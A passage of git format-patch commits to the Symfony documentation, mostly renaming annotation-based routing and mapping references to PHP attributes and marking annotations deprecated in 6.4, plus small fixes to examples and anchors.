+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 .. configuration-block::
 
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 19b0c54b6ec..5dfacd3e48f 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -114,6 +114,10 @@ If you use annotations instead of attributes, it's also required to call
         ->addDefaultDoctrineAnnotationReader() // add this only when using annotations
         ->getValidator();
 
+.. deprecated:: 6.4
+
+    Annotations are deprecated since Symfony 6.4, use attributes instead.
+
 To disable the annotation loader after it was enabled, call
 :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAnnotationMapping`.
 
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 6955d36a205..8a7dac3a96b 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -302,7 +302,7 @@ Before continuing, run this command to add support for the new dependencies:
 
 .. code-block:: terminal
 
-    $ composer require symfony/yaml symfony/twig-bundle symfony/web-profiler-bundle doctrine/annotations
+    $ composer require symfony/yaml symfony/twig-bundle symfony/web-profiler-bundle
 
 Next, create a new extension class that defines your app configuration and
 add a service conditionally based on the ``foo`` value::
@@ -377,7 +377,7 @@ because the configuration started to get bigger:
             ;
         };
 
-This also loads annotation routes from an ``src/Controller/`` directory, which
+This also loads attribute routes from an ``src/Controller/`` directory, which
 has one file in it::
 
     // src/Controller/MicroController.php
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index edfcb371864..576b8be3c86 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -205,7 +205,7 @@ resources::
             }
 
             if (false !== ($fileName = (new \ReflectionObject($this))->getFileName())) {
-                $routes->import($fileName, 'annotation');
+                $routes->import($fileName, 'attribute');
             }
         }
     }
diff --git a/controller.rst b/controller.rst
index 1f88729204d..9f2c6e1c84d 100644
--- a/controller.rst
+++ b/controller.rst
@@ -63,7 +63,7 @@ Mapping a URL to a Controller
 
 In order to *view* the result of this controller, you need to map a URL to it via
 a route. This was done above with the ``#[Route('/lucky/number/{max}')]``
-:ref:`route attribute <annotation-routes>`.
+:ref:`route attribute <attribute-routes>`.
 
 To see your page, go to this URL in your browser: http://localhost:8000/lucky/number/100
 
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 56148422aed..c05e78997ba 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -72,7 +72,7 @@ so Symfony doesn't try to get/set its value from the related entity::
                     // every time you edit the Product details
                     'required' => false,
 
-                    // unmapped fields can't define their validation using annotations
+                    // unmapped fields can't define their validation using attributes
                     // in the associated entity, so you can use the PHP constraint classes
                     'constraints' => [
                         new File([
diff --git a/doctrine.rst b/doctrine.rst
index 51bbe9032b0..866301f50aa 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -193,7 +193,7 @@ add/remove fields, add/remove methods or update configuration.
 
 Doctrine supports a wide variety of field types, each with their own options.
 To see a full list, check out `Doctrine's Mapping Types documentation`_.
-If you want to use XML instead of annotations, add ``type: xml`` and
+If you want to use XML instead of attributes, add ``type: xml`` and
 ``dir: '%kernel.project_dir%/config/doctrine'`` to the entity mappings in your
 ``config/packages/doctrine.yaml`` file.
 
@@ -746,7 +746,7 @@ the default convention.
 MapEntity Options
 ~~~~~~~~~~~~~~~~~
 
-A number of options are available on the ``MapEntity`` annotation to
+A number of options are available on the ``MapEntity`` attribute to
 control behavior:
 
 ``id``
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index b17877c4bdf..d7494923c2c 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -91,7 +91,7 @@ From the perspective of the ``Product`` entity, this is a many-to-one relationsh
 From the perspective of the ``Category`` entity, this is a one-to-many relationship.
 
 To map this, first create a ``category`` property on the ``Product`` class with
-the ``ManyToOne`` annotation. You can do this by hand, or by using the ``make:entity``
+the ``ManyToOne`` attribute. You can do this by hand, or by using the ``make:entity``
 command, which will ask you several questions about your relationship. If you're
 not sure of the answer, don't worry! You can always change the settings later:
 
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 3c38bbbaf17..f6a44cc3346 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -217,7 +217,6 @@ allows you to return a list of extensions to register::
             // or if you also need to read constraints from annotations
             $validator = Validation::createValidatorBuilder()
                 ->enableAnnotationMapping(true)
-                ->addDefaultDoctrineAnnotationReader()
                 ->getValidator();
 
             return [
diff --git a/page_creation.rst b/page_creation.rst
index ede8be35c2d..7bd25babeba 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -55,7 +55,7 @@ random) number and prints it. To do that, create a "Controller" class and a
         }
     }
 
-.. _annotation-routes:
+.. _attribute-routes:
 
 Now you need to associate this controller function with a public URL (e.g. ``/lucky/number``)
 so that the ``number()`` method is called when a user browses to it. This association
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 490862214bb..53d4cf837ba 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -135,13 +135,8 @@ Try the page out by going to ``http://localhost:8000/hello/Symfony``. You should
 see: Hello Symfony! The value of the ``{name}`` in the URL is available as a ``$name``
 argument in your controller.
 
-But this can be even simpler! So let's install annotations support:
-
-.. code-block:: terminal
-
-    $ composer require annotations
-
-Now, comment-out the YAML route by adding the ``#`` character:
+But this can be even simpler! Comment-out the YAML route by adding the
+``#`` character:
 
 .. code-block:: yaml
 
diff --git a/reference/attributes.rst b/reference/attributes.rst
index e7507949e97..217c73346f0 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -5,6 +5,11 @@ Attributes are the successor of annotations since PHP 8. Attributes are native
 to the language and Symfony takes full advantage of them across the framework
 and its different components.
 
+.. deprecated:: 6.4
+
+    Annotations across the framework are deprecated since Symfony 6.4, you must
+    only use attributes instead.
+
 Doctrine Bridge
 ~~~~~~~~~~~~~~~
 
@@ -78,14 +83,14 @@ Security
 ~~~~~~~~
 
 * :ref:`CurrentUser <security-json-login>`
-* :ref:`IsGranted <security-securing-controller-annotations>`
+* :ref:`IsGranted <security-securing-controller-attributes>`
 
 Serializer
 ~~~~~~~~~~
 
 * :ref:`Context <serializer_serializer-context>`
 * :ref:`DiscriminatorMap <serializer_interfaces-and-abstract-classes>`
-* :ref:`Groups <component-serializer-attributes-groups-annotations>`
+* :ref:`Groups <component-serializer-attributes-groups-attributes>`
 * :ref:`Ignore <serializer_ignoring-attributes>`
 * :ref:`MaxDepth <serializer_handling-serialization-depth>`
 * :ref:`SerializedName <serializer_name-conversion>`
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index c493c487e21..b1f2139034a 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -274,6 +274,10 @@ One of ``annotation`` (for PHP annotations; it's the default value),
 ``attribute`` (for PHP attributes), ``xml``, ``yml``, ``php`` or
 ``staticphp``. This specifies which type of metadata type your mapping uses.
 
+.. deprecated:: 6.4
+
+    Annotations are deprecated since Symfony 6.4, use attributes instead.
+
 See `Doctrine Metadata Drivers`_ for more information about this option.
 
 ``dir``
@@ -385,7 +389,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
                     mappings:
                         # ...
                         SomeEntityNamespace:
-                            type: annotation
+                            type: attribute
                             dir: '%kernel.project_dir%/src/Entity'
                             is_bundle: false
                             prefix: App\Entity
@@ -403,7 +407,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
             <doctrine:config>
                 <doctrine:orm>
                     <mapping name="SomeEntityNamespace"
-                        type="annotation"
+                        type="attribute"
                         dir="%kernel.project_dir%/src/Entity"
                         is-bundle="false"
                         prefix="App\Entity"
@@ -422,7 +426,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
 
             $emDefault->autoMapping(true);
             $emDefault->mapping('SomeEntityNamespace')
-                ->type('annotation')
+                ->type('attribute')
                 ->dir('%kernel.project_dir%/src/Entity')
                 ->isBundle(false)
                 ->prefix('App\Entity')
@@ -446,14 +450,14 @@ configuration format. The bundle will stop as soon as it locates one.
 
 If it wasn't possible to determine a configuration format for a bundle,
 the DoctrineBundle will check if there is an ``Entity`` folder in the bundle's
-root directory. If the folder exist, Doctrine will fall back to using an
-annotation driver.
+root directory. If the folder exist, Doctrine will fall back to using
+attributes.
 
 Default Value of Dir
 ....................
 
 If ``dir`` is not specified, then its default value depends on which configuration
-driver is being used. For drivers that rely on the PHP files (annotation,
+driver is being used. For drivers that rely on the PHP files (attribute,
 ``staticphp``) it will be ``[Bundle]/Entity``. For drivers that are using
 configuration files (XML, YAML, ...) it will be
 ``[Bundle]/Resources/config/doctrine``.
diff --git a/reference/constraints/DisableAutoMapping.rst b/reference/constraints/DisableAutoMapping.rst
index e19c8dc471b..e5cec52db2d 100644
--- a/reference/constraints/DisableAutoMapping.rst
+++ b/reference/constraints/DisableAutoMapping.rst
@@ -3,7 +3,7 @@ DisableAutoMapping
 
 This constraint allows to disable :ref:`Doctrine's auto mapping <doctrine_auto-mapping>`
 on a class or a property. Automapping allows to determine validation rules based
-on Doctrine's annotations and attributes. You may use this constraint when
+on Doctrine's attributes. You may use this constraint when
 automapping is globally enabled, but you still want to disable this feature for
 a class or a property specifically.
 
diff --git a/reference/constraints/EnableAutoMapping.rst b/reference/constraints/EnableAutoMapping.rst
index 03ef915fb38..e221b7c07d0 100644
--- a/reference/constraints/EnableAutoMapping.rst
+++ b/reference/constraints/EnableAutoMapping.rst
@@ -3,7 +3,7 @@ EnableAutoMapping
 
 This constraint allows to enable :ref:`Doctrine's auto mapping <doctrine_auto-mapping>`
 on a class or a property. Automapping allows to determine validation rules based
-on Doctrine's annotations and attributes. You may use this constraint when
+on Doctrine's attributes. You may use this constraint when
 automapping is globally disabled, but you still want to enable this feature for
 a class or a property specifically.
 
diff --git a/routing.rst b/routing.rst
index ccef1e19936..92950289e7a 100644
--- a/routing.rst
+++ b/routing.rst
@@ -15,7 +15,7 @@ Creating Routes
 Routes can be configured in YAML, XML, PHP or using attributes.
 All formats provide the same features and performance, so choose
 your favorite.
-:ref:`Symfony recommends attributes <best-practice-controller-annotations>`
+:ref:`Symfony recommends attributes <best-practice-controller-attributes>`
 because it's convenient to put the route and controller in the same place.
 
 Creating Routes as Attributes
@@ -744,7 +744,7 @@ visit ``/blog/1``, it will match. But if they visit ``/blog``, it will **not**
 match. As soon as you add a parameter to a route, it must have a value.
 
 You can make ``blog_list`` once again match when the user visits ``/blog`` by
-adding a default value for the ``{page}`` parameter. When using annotations or attributes,
+adding a default value for the ``{page}`` parameter. When using attributes,
 default values are defined in the arguments of the controller action. In the
 other configuration formats they are defined with the ``defaults`` option:
 
@@ -901,7 +901,7 @@ Symfony evaluates routes in the order they are defined. If the path of a route
 matches many different patterns, it might prevent other routes from being
 matched. In YAML and XML you can move the route definitions up or down in the
 configuration file to control their priority. In routes defined as PHP
-annotations or attributes this is much harder to do, so you can set the
+attributes this is much harder to do, so you can set the
 optional ``priority`` parameter in those routes to control their priority:
 
 .. configuration-block::
@@ -1425,10 +1425,10 @@ when importing the routes.
 
     .. code-block:: yaml
 
-        # config/routes/annotations.yaml
+        # config/routes/attributes.yaml
         controllers:
             resource: '../../src/Controller/'
-            type: annotation
+            type: attribute
             # this is added to the beginning of all imported route URLs
             prefix: '/blog'
             # this is added to the beginning of all imported route names
@@ -1441,12 +1441,12 @@ when importing the routes.
             # Uncomment this option to make that URL "/blog" instead
             # trailing_slash_on_root: false
 
-            # you can optionally exclude some files/subdirectories when loading annotations
+            # you can optionally exclude some files/subdirectories when loading attributes
             # exclude: '../../src/Controller/{DebugEmailController}.php'
 
     .. code-block:: xml
 
-        <!-- config/routes/annotations.xml -->
+        <!-- config/routes/attributes.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <routes xmlns="http://symfony.com/schema/routing"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -1456,10 +1456,10 @@ when importing the routes.
             <!--
                 the 'prefix' value is added to the beginning of all imported route URLs
                 the 'name-prefix' value is added to the beginning of all imported route names
-                the 'exclude' option defines the files or subdirectories ignored when loading annotations
+                the 'exclude' option defines the files or subdirectories ignored when loading attributes
             -->
             <import resource="../../src/Controller/"
-                type="annotation"
+                type="attribute"
                 prefix="/blog"
                 name-prefix="blog_"
                 exclude="../../src/Controller/{DebugEmailController}.php">
@@ -1469,7 +1469,7 @@ when importing the routes.
 
             <!-- An imported route with an empty URL will become "/blog/"
                  Uncomment this option to make that URL "/blog" instead -->
-            <import resource="../../src/Controller/" type="annotation"
+            <import resource="../../src/Controller/" type="attribute"
                     prefix="/blog"
                     trailing-slash-on-root="false">
                     <!-- ... -->
@@ -1478,16 +1478,16 @@ when importing the routes.
 
     .. code-block:: php
 
-        // config/routes/annotations.php
+        // config/routes/attributes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return static function (RoutingConfigurator $routes): void {
             $routes->import(
                     '../../src/Controller/',
-                    'annotation',
+                    'attribute',
                     false,
                     // the optional fourth argument is used to exclude some files
-                    // or subdirectories when loading annotations
+                    // or subdirectories when loading attributes
                     '../../src/Controller/{DebugEmailController}.php'
                 )
                 // this is added to the beginning of all imported route URLs
@@ -1509,7 +1509,7 @@ In this example, the route of the ``index()`` action will be called ``blog_index
 and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will be called
 ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes
 will also validate that the ``_locale`` parameter matches the regular expression
-defined in the class annotation.
+defined in the class attribute.
 
 .. note::
 
@@ -1517,23 +1517,23 @@ defined in the class annotation.
     slash to it. In the previous example, an empty path prefixed with ``/blog``
     will result in the ``/blog/`` URL. If you want to avoid this behavior, set
     the ``trailing_slash_on_root`` option to ``false`` (this option is not
-    available when using PHP attributes or annotations):
+    available when using PHP attributes):
 
     .. configuration-block::
 
         .. code-block:: yaml
 
-            # config/routes/annotations.yaml
+            # config/routes/attributes.yaml
             controllers:
                 resource: '../../src/Controller/'
-                type:     annotation
+                type:     attribute
                 prefix:   '/blog'
                 trailing_slash_on_root: false
                 # ...
 
         .. code-block:: xml
 
-            <!-- config/routes/annotations.xml -->
+            <!-- config/routes/attributes.xml -->
             <?xml version="1.0" encoding="UTF-8" ?>
             <routes xmlns="http://symfony.com/schema/routing"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -1541,7 +1541,7 @@ defined in the class annotation.
                     https://symfony.com/schema/routing/routing-1.0.xsd">
 
                 <import resource="../../src/Controller/"
-                    type="annotation"
+                    type="attribute"
                     prefix="/blog"
                     name-prefix="blog_"
                     trailing-slash-on-root="false"
@@ -1552,11 +1552,11 @@ defined in the class annotation.
 
         .. code-block:: php
 
-            // config/routes/annotations.php
+            // config/routes/attributes.php
             use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
             return static function (RoutingConfigurator $routes): void {
-                $routes->import('../../src/Controller/', 'annotation')
+                $routes->import('../../src/Controller/', 'attribute')
                     // the second argument is the $trailingSlashOnRoot option
                     ->prefix('/blog', false)
 
@@ -2061,24 +2061,24 @@ with a locale. This can be done by defining a different prefix for each locale
 
     .. code-block:: yaml
 
-        # config/routes/annotations.yaml
+        # config/routes/attributes.yaml
         controllers:
             resource: '../../src/Controller/'
-            type: annotation
+            type: attribute
             prefix:
                 en: '' # don't prefix URLs for English, the default locale
                 nl: '/nl'
 
     .. code-block:: xml
 
-        <!-- config/routes/annotations.xml -->
+        <!-- config/routes/attributes.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <routes xmlns="http://symfony.com/schema/routing"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <import resource="../../src/Controller/" type="annotation">
+            <import resource="../../src/Controller/" type="attribute">
                 <!-- don't prefix URLs for English, the default locale -->
                 <prefix locale="en"></prefix>
                 <prefix locale="nl">/nl</prefix>
@@ -2087,11 +2087,11 @@ with a locale. This can be done by defining a different prefix for each locale
 
     .. code-block:: php
 
-        // config/routes/annotations.php
+        // config/routes/attributes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return static function (RoutingConfigurator $routes): void {
-            $routes->import('../../src/Controller/', 'annotation')
+            $routes->import('../../src/Controller/', 'attribute')
                 ->prefix([
                     // don't prefix URLs for English, the default locale
                     'en' => '',
@@ -2108,23 +2108,23 @@ locale.
 
     .. code-block:: yaml
 
-        # config/routes/annotations.yaml
+        # config/routes/attributes.yaml
         controllers:
             resource: '../../src/Controller/'
-            type: annotation
+            type: attribute
             host:
                 en: 'www.example.com'
                 nl: 'www.example.nl'
 
     .. code-block:: xml
 
-        <!-- config/routes/annotations.xml -->
+        <!-- config/routes/attributes.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <routes xmlns="http://symfony.com/schema/routing"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
-            <import resource="../../src/Controller/" type="annotation">
+            <import resource="../../src/Controller/" type="attribute">
                 <host locale="en">www.example.com</host>
                 <host locale="nl">www.example.nl</host>
             </import>
@@ -2132,10 +2132,10 @@ locale.
 
     .. code-block:: php
 
-        // config/routes/annotations.php
+        // config/routes/attributes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
         return static function (RoutingConfigurator $routes): void {
-            $routes->import('../../src/Controller/', 'annotation')
+            $routes->import('../../src/Controller/', 'attribute')
                 ->host([
                     'en' => 'www.example.com',
                     'nl' => 'www.example.nl',
@@ -2608,34 +2608,34 @@ defined as annotations:
 
     .. code-block:: yaml
 
-        # config/routes/annotations.yaml
+        # config/routes/attributes.yaml
         controllers:
             resource: '../../src/Controller/'
-            type: annotation
+            type: attribute
             defaults:
                 schemes: [https]
 
     .. code-block:: xml
 
-        <!-- config/routes/annotations.xml -->
+        <!-- config/routes/attributes.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <routes xmlns="http://symfony.com/schema/routing"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <import resource="../../src/Controller/" type="annotation">
+            <import resource="../../src/Controller/" type="attribute">
                 <default key="schemes">HTTPS</default>
             </import>
         </routes>
 
     .. code-block:: php
 
-        // config/routes/annotations.php
+        // config/routes/attributes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return static function (RoutingConfigurator $routes): void {
-            $routes->import('../../src/Controller/', 'annotation')
+            $routes->import('../../src/Controller/', 'attribute')
                 ->schemes(['https'])
             ;
         };
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index d4ab6880c2e..d02e6b31519 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -131,7 +131,7 @@ What is a Custom Route Loader
 A custom route loader enables you to generate routes based on some
 conventions, patterns or integrations. An example for this use-case is the
 `OpenAPI-Symfony-Routing`_ library where routes are generated based on
-OpenAPI/Swagger annotations. Another example is the `SonataAdminBundle`_ that
+OpenAPI/Swagger attributes. Another example is the `SonataAdminBundle`_ that
 creates routes based on CRUD conventions.
 
 Loading Routes
diff --git a/security.rst b/security.rst
index 82c212eb484..098ce6d5d65 100644
--- a/security.rst
+++ b/security.rst
@@ -2316,7 +2316,7 @@ will happen:
    be shown the 403 access denied page (which you can
    :ref:`customize <controller-error-pages-by-status-code>`).
 
-.. _security-securing-controller-annotations:
+.. _security-securing-controller-attributes:
 
 Another way to secure one or more controller actions is to use the ``#[IsGranted()]`` attribute.
 In the following example, all controller actions will require the
diff --git a/serializer.rst b/serializer.rst
index 900e808b778..af1ee72c3e3 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -164,23 +164,6 @@ You can also specify the context on a per-property basis::
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace App\Model;
-
-        use Symfony\Component\Serializer\Annotation\Context;
-        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
-
-        class Person
-        {
-            /**
-             * @Context({ DateTimeNormalizer::FORMAT_KEY = 'Y-m-d' })
-             */
-            public \DateTimeInterface $createdAt;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         namespace App\Model;
@@ -260,7 +243,7 @@ You can also restrict the usage of a context to some groups::
         // ...
     }
 
-The attribute/annotation can be repeated as much as needed on a single property.
+The attribute can be repeated as much as needed on a single property.
 Context without group is always applied first. Then context for the matching
 groups are merged in the provided order.
 
@@ -306,13 +289,12 @@ To create a more complex (de)serialization context, you can chain them using the
 You can also :doc:`create your context builders </serializer/custom_context_builders>`
 to have autocompletion, validation, and documentation for your custom context values.
 
-.. _serializer-using-serialization-groups-annotations:
 .. _serializer-using-serialization-groups-attributes:
 
 Using Serialization Groups Attributes
 -------------------------------------
 
-You can add :ref:`#[Groups] attributes <component-serializer-attributes-groups-annotations>`
+You can add :ref:`#[Groups] attributes <component-serializer-attributes-groups-attributes>`
 to your class::
 
     // src/Entity/Product.php
@@ -374,22 +356,6 @@ their paths using a :doc:`valid PropertyAccess syntax </components/property_acce
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace App\Model;
-
-        use Symfony\Component\Serializer\Annotation\SerializedPath;
-
-        class Person
-        {
-            /**
-             * @SerializedPath("[profile][information][birthday]")
-             */
-            private string $birthday;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         namespace App\Model;
@@ -442,7 +408,7 @@ object::
     $person = $normalizer->denormalize($data, Person::class, 'any');
     $person->getBirthday(); // 01-01-1970
 
-When using annotations or attributes, the ``SerializedPath`` can either
+When using attributes, the ``SerializedPath`` can either
 be set on the property or the associated _getter_ method. The ``SerializedPath``
 cannot be used in combination with a ``SerializedName`` for the same property.
 

From 92529650875153b330b0f61db2c4ba0b015ddf8d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 21 Jul 2023 09:28:53 +0200
Subject: [PATCH 3546/5766] [OptionsResolver] Fix indentation

---
 components/options_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 89864774d8f..5f9cd2659a9 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -951,8 +951,8 @@ Getting More Insights
 Use the ``OptionsResolverIntrospector`` to inspect the options definitions
 inside an ``OptionsResolver`` instance::
 
-   use Symfony\Component\OptionsResolver\Debug\OptionsResolverIntrospector;
-   use Symfony\Component\OptionsResolver\OptionsResolver;
+    use Symfony\Component\OptionsResolver\Debug\OptionsResolverIntrospector;
+    use Symfony\Component\OptionsResolver\OptionsResolver;
 
     $resolver = new OptionsResolver();
     $resolver->setDefaults([

From bb15e8945480f2122f7589af2e0f48a3c93f8c07 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Fri, 21 Jul 2023 11:41:47 +0200
Subject: [PATCH 3547/5766] [Form] Improve form validation section

---
 forms.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/forms.rst b/forms.rst
index 68feeb0af1d..aefaffbea5c 100644
--- a/forms.rst
+++ b/forms.rst
@@ -461,7 +461,8 @@ Before using validation, add support for it in your application:
     $ composer require symfony/validator
 
 Validation is done by adding a set of rules, called (validation) constraints,
-to a class. You can add them either to the entity class or to the form class.
+to a class. You can add them either to the entity class or by using the
+:ref:`constraints option <reference-form-option-constraints>` of form types.
 
 To see the first approach - adding constraints to the entity - in action,
 add the validation constraints, so that the ``task`` field cannot be empty,
@@ -567,9 +568,9 @@ object.
 That's it! If you re-submit the form with invalid data, you'll see the
 corresponding errors printed out with the form.
 
-To see the second approach - adding constraints to the form - and to
-learn more about the validation constraints, please refer to the
-:doc:`Symfony validation documentation </validation>`.
+To see the second approach - adding constraints to the form - please refer to
+this :ref:`section <form-option-constraints>`.
+Both approaches can be used together.
 
 Form Validation Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~

From 92e1dbfa2139df8bc897194bfb9c4abbf4fd6c47 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Jul 2023 12:22:03 +0200
Subject: [PATCH 3548/5766] Minor tweak

---
 forms.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/forms.rst b/forms.rst
index aefaffbea5c..b3dd9e207a0 100644
--- a/forms.rst
+++ b/forms.rst
@@ -568,9 +568,8 @@ object.
 That's it! If you re-submit the form with invalid data, you'll see the
 corresponding errors printed out with the form.
 
-To see the second approach - adding constraints to the form - please refer to
-this :ref:`section <form-option-constraints>`.
-Both approaches can be used together.
+To see the second approach - adding constraints to the form - refer to
+:ref:`this section <form-option-constraints>`. Both approaches can be used together.
 
 Form Validation Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~

From dc0ec9f3e200c82e039f1d94ab46d205ed15a400 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Jul 2023 12:40:33 +0200
Subject: [PATCH 3549/5766] Restore some internal references

---
 best_practices.rst        | 1 +
 components/serializer.rst | 1 +
 page_creation.rst         | 1 +
 security.rst              | 1 +
 4 files changed, 4 insertions(+)

diff --git a/best_practices.rst b/best_practices.rst
index e22238f9f52..6541ac3ed02 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -223,6 +223,7 @@ controllers shouldn't contain any business logic. Controllers should contain
 nothing more than a few lines of *glue-code*, so you are not coupling the
 important parts of your application.
 
+.. _best-practice-controller-annotations:
 .. _best-practice-controller-attributes:
 
 Use Attributes to Configure Routing, Caching, and Security
diff --git a/components/serializer.rst b/components/serializer.rst
index 4902d883935..9c1fcd5e621 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -288,6 +288,7 @@ for each format:
 
     $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml'));
 
+.. _component-serializer-attributes-groups-annotations:
 .. _component-serializer-attributes-groups-attributes:
 
 Then, create your groups definition:
diff --git a/page_creation.rst b/page_creation.rst
index 7bd25babeba..7c3159c3c14 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -55,6 +55,7 @@ random) number and prints it. To do that, create a "Controller" class and a
         }
     }
 
+.. _annotation-routes:
 .. _attribute-routes:
 
 Now you need to associate this controller function with a public URL (e.g. ``/lucky/number``)
diff --git a/security.rst b/security.rst
index 098ce6d5d65..eb60ec0d1cf 100644
--- a/security.rst
+++ b/security.rst
@@ -2316,6 +2316,7 @@ will happen:
    be shown the 403 access denied page (which you can
    :ref:`customize <controller-error-pages-by-status-code>`).
 
+.. _security-securing-controller-annotations:
 .. _security-securing-controller-attributes:
 
 Another way to secure one or more controller actions is to use the ``#[IsGranted()]`` attribute.

From d2e78f1fb9d2de51dc3d8b59210d12971ceeb11b Mon Sep 17 00:00:00 2001
From: Marco Wansinck <marco@webstack.nl>
Date: Fri, 21 Jul 2023 22:43:59 +0200
Subject: [PATCH 3550/5766] Corrected return type of anonymous functions

---
 components/console/helpers/questionhelper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 0f8aa5f08c3..693bcf5160c 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -217,7 +217,7 @@ provide a callback function to dynamically generate suggestions::
             // where files and dirs can be found
             $foundFilesAndDirs = @scandir($inputPath) ?: [];
 
-            return array_map(function (string $dirOrFile) use ($inputPath): void {
+            return array_map(function (string $dirOrFile) use ($inputPath): string {
                 return $inputPath.$dirOrFile;
             }, $foundFilesAndDirs);
         };
@@ -462,7 +462,7 @@ You can also use a validator with a hidden question::
         $question->setNormalizer(function (?string $value): string {
             return $value ?? '';
         });
-        $question->setValidator(function (string $value): void {
+        $question->setValidator(function (string $value): string {
             if ('' === trim($value)) {
                 throw new \Exception('The password cannot be empty');
             }

From ebcd901dc315250a5154ce7c609628ab5cb4ca5c Mon Sep 17 00:00:00 2001
From: iraouf <issam.raouf.dev@gmail.com>
Date: Sun, 23 Jul 2023 12:09:03 +0100
Subject: [PATCH 3551/5766] Fix Method 'getException' not found in
 ExceptionEvent

The 'getException' method is not in ExceptionEvent and should be getThrowable.
---
 configuration/micro_kernel_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 6955d36a205..2f485666ebc 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -178,7 +178,7 @@ events directly from the kernel, again it will be registered automatically::
 
         public function onKernelException(ExceptionEvent $event): void
         {
-            if ($event->getException() instanceof Danger) {
+            if ($event->getThrowable() instanceof Danger) {
                 $event->setResponse(new Response('It\'s dangerous to go alone. Take this ⚔'));
             }
         }

From dba67946c6194ef19a3f36e5cca1f7ad75357925 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Jul 2023 09:05:32 +0200
Subject: [PATCH 3552/5766] Backport #18598 to 5.4

---
 configuration/micro_kernel_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

